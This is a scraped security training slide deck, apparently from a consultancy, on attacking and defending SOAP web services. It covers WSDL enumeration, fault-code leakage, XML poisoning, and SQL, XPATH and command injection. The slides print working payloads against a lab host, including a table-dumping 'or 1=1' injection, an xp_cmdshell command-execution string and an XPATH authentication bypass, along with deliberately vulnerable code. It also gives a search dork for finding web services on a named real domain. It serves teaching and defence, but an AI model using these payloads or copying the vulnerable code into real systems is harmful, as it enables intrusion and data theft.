Advertisement

Web Services Hacking and Security

Web Security Products, Consulting & Training Company
Oct. 26, 2015
Advertisement

More Related Content

Advertisement
Advertisement

Web Services Hacking and Security

  1. Web Services Hacking and Security
  2. Recent analysis of Cloud App • Enterprise Content Management – Cloud App • Technologies & Components – APIs, OAuth, SAML, SOAP, Ajax etc. • Traditional Scanning – What to scan  • Hacking and Hands-On – SQL injection over APIs – XSS on Mobile interface – Authorization bypass (Look at other’s content) – Information leaks through JSON fuzzing – CSRF – Virtual Sand Box bypasses – Mobile interface compromised
  3. Attacks • Vulnerabilities in cloud infrastructures could allow attackers to locate and eavesdrop on targeted virtual machines (VMs) anywhere in the cloud. • DDoS attack rains down on Amazon cloud • Cross-VM side-channel attacks to extract information from a target VM on the same machine. • The use of virtualization by cloud service providers to host virtual machines belonging to multiple customers on a shared physical infrastructure is opening up fresh data leak risks, a research report warns.
  4. What is common in all? • All over Web and HTTP • Web Security and Hacking is very relevant for Cloud • Cloud = Web 2.0 + SOA + Something-Else • Lot of hacks are already happening on Cloud apps over HTTP • Game is changing and becoming interesting …
  5. Security! • Web service - evolving as new attack point in application framework. • Toolkits and Exploits are coming up • Too many protocols and confusion • Race for deployment – poor implementation • Cases and attacks are growing with growth in business usage
  6. Web Services Client HTTP POST SOAP Envelope Web Server 80/443 Web Services Engine Web Services Binaries Web Services Deployment Shell Web Services Code & Components User ControlledVendor ControlledIn TransitEnd Client Security!
  7. Web Services Engine Web Services Resource Defense Controls Web Services Deployment Web Services Code Database File System Network Resource Attack Agent Attack Method Attack Vector Exploit Vulnerability In Transit Security!
  8. Assessment strategies Web Services Risk Model Web Services Defense Controls Blackbox Assessment Whitebox Assessment
  9. Technology Deployment DB Internet DMZ Trusted Internal/Corporate Web Service Client Web Server (IIS/Apache) Application Servers (.Net/Tomcat) Web Services Container (Axis) SOAP Serves SOAP over HTTP/HTTPS XML Parsing WSDL Transport etc. Web Services Code resides
  10. Web services evaluation methodology Footprinting Discovery Public domain search Enumeration Manual Audit Auto Audit Defense
  11. • In transit Sniffing or Spoofing • WS-Routing security concern • Replay attacks Risk - In transit
  12. Risk - Web services Engine • Buffer overflow • XML parsing attacks • Spoiling Schema • Complex or Recursive structure as payload • Denial of services • Large payload
  13. Web services Deployment - Risk • Fault code leaks • Permissions & Access issues • Poor policies • Customized error leakage • Authentication and Certification
  14. Web services User code - Risk • Parameter tampering • WSDL probing • SQL/LDAP/XPATH/OS command injection • Virus/Spyware/Malware injection • Bruteforce • Data type mismatch • Content spoofing • Session tampering • Format string • Information leakage • Authorization
  15. © Blueinfy Solutions Pvt. Ltd. Scanning SOA
  16. Web Service Search • Search in the public domain • Tool – Search Engines • Google – An excellent tool • Look for wsdl,asmx,jws etc. • Filetype and allinurl are best friends
  17. Technology Identification • Platform on which Web services are running • Configuration and Structures • File extensions • Path discovery Very useful information!
  18. Technology Identification • Location can be obtained from UDDI as well, if already published. • WSDL location [ Access Point ] http://192.168.11.2/ws/dvds4less.asmx?wsdl .asmx – indicates .Net server from MS
  19. Technology Identification • Similarly, .jws – for Java web services • /ws/ - in the path indicates web services • MS-SOAPToolkit can be identified as well C:> nc 192.168.11.2 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:48:20 GMT X-Powered-By: ASP.NET Connection: Keep-Alive Content-Length: 7565 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO; path=/ Cache-control: private
  20. Technology Identification • Resource header throws up some information as well C:> nc 192.168.11.2 80 HEAD /ws/dvds4less.asmx HTTP/1.0 HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:50:09 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3026
  21. WSDL Scanning/Enumeration • What is WSDL? • What information can one enumerate from WSDL? • WSDL exposure: Threat or not?
  22. WSDL • Web Services Definition Language • Similar to IDL for remote calls used in CORBA or other remote invoke methods. • Contains detail of methods • Types of I/O • Parameters of methods • It is an XML document with standards.
  23. WSDL Nodes Data types Message Types Operations Access BindingService
  24. WSDL <Service> <service name="dvds4less"> <port name="dvds4lessSoap" binding="s0:dvds4lessSoap"> <soap:address location="http://192.168.11.2/ws/dvds4less.asmx"/> </port> </service> Where is the call going to go? This is where the service is listening.
  25. WSDL <portType> <portType name="dvds4lessSoap"> <operation name="Intro"> <input message="s0:IntroSoapIn"/> <output message="s0:IntroSoapOut"/> </operation> <operation name="getProductInfo"> <input message="s0:getProductInfoSoapIn"/> <output message="s0:getProductInfoSoapOut"/> </operation> <operation name="getRebatesInfo"> <input message="s0:getRebatesInfoSoapIn"/> <output message="s0:getRebatesInfoSoapOut"/> </operation> </portType> Methods one can call
  26. WSDL <Message> <portType name="dvds4lessSoap"> <operation name="getProductInfo"> <input message="s0:getProductInfoSoapIn"/> <output message="s0:getProductInfoSoapOut"/> </operation> </portType> <message name="getProductInfoSoapIn"> <part name="parameters" element="s0:getProductInfo"/> </message> <message name="getProductInfoSoapOut"> <part name="parameters" element="s0:getProductInfoResponse"/> </message>
  27. WSDL <Types> <s:element name="getProductInfo"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="id" type="s:string"/> </s:sequence> </s:complexType> </s:element> <s:element name="getProductInfoResponse"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="getProductInfoResult" type="s:string"/> </s:sequence> </s:complexType> </s:element> <message name="getProductInfoSoapIn"> <part name="parameters" element="s0:getProductInfo"/> </message> <message name="getProductInfoSoapOut"> <part name="parameters" element="s0:getProductInfoResponse"/> </message>
  28. WSDL Profile after Scan Methods INPUT OUTPUT Intro - None - String getProductInfo String String getRebatesInfo String String
  29. © Blueinfy Solutions Pvt. Ltd. SOAP in Action
  30. How to access? • Knowing WSDL profile – What next? • Access web services – see what goodies you can get • How?
  31. How to access SOAP? • Simple Object Access Protocol • Invoking objects on remote machine • I/O with remote objects • It is XML-based messaging • Works over HTTP/HTTPS and on few other protocols • That is why firewall cannot block them. • Attacks are easy and possible.
  32. SOAP request <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method
  33. SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/</getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> SOAP Envelope Method response Output to the method
  34. © Blueinfy Solutions Pvt. Ltd. SOA Attacks
  35. AV 1 - XML poisoning • XML node manipulation • Attack on parsing logic – SAX – DOM • Can be lethal – DoS or breaking execution logic
  36. XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord>
  37. XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName><CustomerNumber>28900 1</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord>
  38. XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <FirstName>John</FirstName> ... 100 time… <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street<Address> <Email>john@smith.com<Email> <PhoneNumber>3809922347<PhoneNumber> </ CustomerRecord>
  39. Parameter tampering & Fault code leakage • Fault code of web services spit lot of information about internal workings. • This attack can fetch internal paths, database interfaces etc. • Fault code is part of SOAP envelope and this helps an attacker to make logical deduction about assets.
  40. SOAP request <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getRebatesInfo xmlns="http://tempuri.org/"> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method Forcing Fault Code Source of Enumeration
  41. SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot;c:inetpubwwwrootrebatesabx.xyz&amp;quot;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Path Enumeration Fault Code
  42. AV 3 - SQL injection • SQL injection can be done using SOAP traffic. • It is innovative way of identifying database interface points. • One can leverage xp_cmdshell via SOAP. • Back end database can be compromised using this attack.
  43. SOAP request <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method
  44. SOAP request <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Product Information
  45. SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Cannot use empty object or column names. Use a single space if necessary.</faultstring> <detail /> </soap:Fault> </soap:Body> Indicates SQL Server Place for SQL Injection Fault Code
  46. SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1 or 1=1</id> </getProductInfo> </soap:Body> </soap:Envelope> Popular SQL Injection Fault Code
  47. SOAP request <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ /(2)Bend it like Beckham($12.99)/ /(3)Doctor Zhivago($10.99)/ /(4)A Bug's Life($13.99)/ /(5)Lagaan($12.99)/ /(6)Monsoon Wedding($10.99)/ /(7)Lawrence of Arabia($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> Works!! Entire Table Is out
  48. SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1;EXEC master..xp_cmdshell 'dir c: > c:inetpubwwwrootwsdir.txt'</id> </getProductInfo> </soap:Body> </soap:Envelope> Exploiting this Vulnerability Exploit code
  49. SOAP request <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Works!! Looks Normal response
  50. SOAP request But … Code got executed Looks Normal response Got Admin via cmdshell
  51. AV 4 – XPATH injection • XPATH is new way of querying XML documents. • This attack works nicely on web services since they use XML extensively. • Developer’s loophole can be leveraged with an exploit. • XPATH query crafting is next generation attack methods.
  52. XPATH Injection - Basics • XPATH is a language defined to find information from XML document. • As XPATH name suggests it indeed uses path to traverse through nodes of XML document and look for specific information from the document. • XPATH provides expressions like slash (/), double slash (//), dot(.), double dot (..), @, =, <, > etc. It helps in traversing through XML document.
  53. XPATH – Vulnerable Code string fulltext = ""; string coString = "Provider=SQLOLEDB;Server=(local);database=order;User ID=sa;Password=mypass"; SqlXmlCommand co = new SqlXmlCommand(coString); co.RootTag="Credential"; co.CommandType = SqlXmlCommandType.Sql; co.CommandText = "SELECT * FROM users for xml Auto"; XmlReader xr = co.ExecuteXmlReader(); xr.MoveToContent(); fulltext = xr.ReadOuterXml(); XmlDocument doc = new XmlDocument(); doc.LoadXml(fulltext); string credential = "//users[@username='"+user+"' and @password='"+pass+"']"; XmlNodeList xmln = doc.SelectNodes(credential); string temp; if(xmln.Count > 0) { //True } else //false
  54. Attacking XPATH point • //users[@username='"+user+"' and @password='"+pass+"']"; • XPATH parsing can be leveraged by passing following string ' or 1=1 or ''=‘ • This will always true on the first node and user can get access as who ever is first user. • //users[@username='' or 1=1 or ''='' and @password='any'] Bingo!
  55. AV 6 – LDAP injection • LDAP authentication in place • Possible to manipulate LDAP queries • May leads to enumeration OR manipulation • Interesting attack vector • Fault code leaks LDAP interface
  56. AV 7 – File System access • Identifying file system points • Directory traversing & Access • Leads to file access and source code exposure • Lethal if found!
  57. AV 7 – SOAP brute forcing • SOAP envelope takes user & pass accounts. • It is possible to bruteforce SOAP envelope and look for specific responses. • This is a possible attack which can get into the system. • Analyzing SOAP response is key for this set of attack.
  58. AV 8 – Parameter overflow • Adding large buffers to XML nodes • Depending on code controls – It may fail in handling • Breaking the application • May compromise as well • Traditional buffer overflow type attacks
  59. AV 9 – Operating System access • Point to OS • Remote command execution is possible • Either by “|” or “;” • Attack is very much possible • Leads to admin/root on the box…
  60. AV 10 – Session hijacking • Web services can maintain sessions • [WebMethod(EnableSession=true)] • Possible to reverse engineer session • Cookie tempering is reality… • Can be compared to traditional web application session.
  61. Other attacks • External referencing – XML schema • XSS attack • In transit attacks – replay and spoofing
  62. © Blueinfy Solutions Pvt. Ltd. Securing SOA
  63. Defense 1: SOAP filtering • Regular firewall will not work • Content filtering on HTTP will not work either since it is SOAP over HTTP/HTTPS • SOAP level filtering and monitoring would require • ISAPI level filtering is essential • SOAP content filtering – products or in-house
  64. IIS Web Server HTTP Stack .Net Web Services IIS Web Server web2wall (Filter) Web Services Client SOAP Envelope Reject Rules for SOAP Defense 1: SOAP filtering
  65. Defense 2: WSDL hardening • WSDL is major source of information • Should not have any leakage • Only provide necessary methods • Invokes over SSL only • WSDL hardening thoroughly
  66. Defense 3: Authentication & Authorization • WSDL access control • Use of SAML • Credentials – WS-Security • Certificate analysis • SOAP and XML filtering before access
  67. Defense 4: Secure Coding • Fault code management and Exception control • Input validation • SQL integration • Levels of coding using different components
  68. Defense 5: XML parsing • Good XML parsing should be used • .Net/J2EE – may have issues with XML parsing • Buffer overflows using schema poisoning
  69. © Blueinfy Solutions Pvt. Ltd. Conclusion

Editor's Notes

  1. The objective of this section is to use a Web services assessment methodology that is used in the field.
  2. Search engines maintain a cache of all links collected from web sites. Search engines use their own crawling software to fetch links on Web services. Try this: To find web services running on the “amazon” domain, type: inurl:wsdl site:amazon.com
  3. Objective: gather all possible information about Web services
  4. One of the major sources of information: WSDL file
  5. The objective of this step is to scan Web services and gather initial attack points. Web services are running with different resources. Each of these resources is linked together and a scanning exercise helps in collecting these resources. A WSDL file is a very important resource for Web services, and its scanning is therefore a very important exercise. WSDL is an XML document that serves two purposes: Defines how to access Web services Furnishes information about where to access these Web services In a nutshell, Web services specifies the location and operations of Web services. Any Web service client can fetch information from the WSDL and build specific requests.
  6. WSDL has 4 main components (XML): Type element: used when defined data types are complex types. binding element: contains information about accessing Web services. Has two attributes within the tag name: any name and port binding. &amp;lt;binding&amp;gt; links to &amp;lt;portType&amp;gt; soap:binding element provides style and transport attribute information. e.g. http://schemas.xmlsoap.org/soap/http (reflects SOAP protocol over HTTP) style can be either rpc or document. soap:operation element is a mandatory attribute for certain operations. HTTP requests must be sent over a network using soapAction in the HTTP header. (Otherwise Web services would not respond.)
  7. Service name: dvds4less Binding address: http://192.168.11.2/ws/dvds4less.asmx This information provides the location and its access position. All calls and Web-based API invoked will be handled at this location.
  8. portType element: comparable to a class or module in C++ or Java. a class or module contains a set of methods that can be accessed. These methods are specified in the &amp;lt;operation&amp;gt; element. Operations and methods are actual entry points to Web services. portType presents the type of invoke supported. (SOAP) Sometimes, GET and POST are also supported. Operation represents the method name
  9. message element: contains information about the name and type of parameter.
Advertisement